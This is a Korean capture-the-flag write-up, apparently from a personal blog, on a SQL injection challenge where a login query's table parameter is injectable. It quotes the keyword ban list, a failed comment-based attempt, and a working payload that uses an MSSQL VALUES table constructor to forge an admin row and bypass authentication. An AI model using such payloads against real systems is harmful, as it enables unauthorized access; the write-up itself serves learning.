다음과 같이 /source로 들어가 소스코드를 확인해 달라고 한다 들어가서 확인을 해 주자
다음과 같이 /loginAction을 해서 로그인 시에 해당 user id에 맞는 구문을 출력해 주는것으로 보인다.
로그인액션이 실행되는 구문을 자세히 살펴보자
select ID from "+table_+" where ID='"+id_+"' and PASSWORD='"+pass_+"'\
forcelogin 1과 달리 logintable 부분에 따로 t라는 인자를 받을수가 있어졌다 대신 ban list가 다음과 같이 늘어났다.
banlist = ['inno','select','\'','"','`','information','concat','union','all','ascii','substr','#','--','\\',';']
다음과같이 저번에 못썬던 select는 물론이고 union또한 사용할수 없어 union value(row) 를 이용할수 없다.
그래서 처음에는 sql에서 주석처리를 실행할때 /* */로 주석처리 한것을 사요해서 id 부분에 테이블 앞부분에 /*을 넣고
pass 부분에 */를 넣어서 where ID 절을 아예 무시하고 table 쪽에 아예 새로 구문을 넣어서 돌려볼려는 생각이였다.
loginAction?T=loginTable+values+row(0x61646d696e)+/*&id=/&pass=*/
그래서 다음과 같은 구문을 시도해 보았다.
다음과 같이 실패한것을 볼수 있다.
실패한 가장 큰 원인으로는 뒤에 pass_ 자리에 들어가는 주석을 닫는구문이 싱글쿼터 안에 들어가게 되어서 주석처리가 온전히 되지 않아서 발생하는 문제인것 같다.
그렇다고 싱글쿼터를 하나 더 써서 우회하거나 -- 으로 주석처리로 빠져나오려 한다 해도 banlist 에 걸리게 된다.
그래서 좀더 고민하던 중 mssql의 공식문서를 자세히 보라는 힌트와 함께 동적 테이블에 대한 힌트를 얻었다.
SELECT a, b FROM (VALUES (1, 2), (3, 4), (5, 6), (7, 8), (9, 10) ) AS MyTable(a, b);
GO
-- Used in an inner join to specify values to return.
SELECT ProductID, a.Name, Color
FROM Production.Product AS a
INNER JOIN (VALUES ('Blade'), ('Crown Race'), ('AWC Logo Cap')) AS b(Name)
ON a.Name = b.Name;
테이블 값 생성자(Transact-SQL) - SQL Server
테이블 값 생성자(Transact-SQL)
learn.microsoft.com
우리쪽은 select id from까진 정해져 있는 구문이고 따로 select를 안적어줘도 이 구문을 이용하면 된다.
그래서 구상해본 payload는
/loginAction?T=(values+(<admin을 16진수로바꾼것>,1))+as+my(id,password)&id=admin&pass=1
admin = 0x61646d696e
그래서 구문은
/loginAction?T=(values+(0x61646d696e,1))+as+my(id,password)&id=admin&pass=1
다음과같이 플래그를 얻게 되었고 왜 테이블인젝션이라고 불렸는지 알수 있는 참 재밌고 유익한 문제였다.
'seKUCTF' 카테고리의 다른 글
[seKUCTF] simple culculater (0) | 2023.05.07 |
---|---|
[seKUCTF] forcelogin1 (0) | 2023.04.09 |
[seKUCTF] Ping! (0) | 2023.03.22 |
linux 와일드카드란? (0) | 2023.03.21 |
OS Injection 이란? (0) | 2023.03.21 |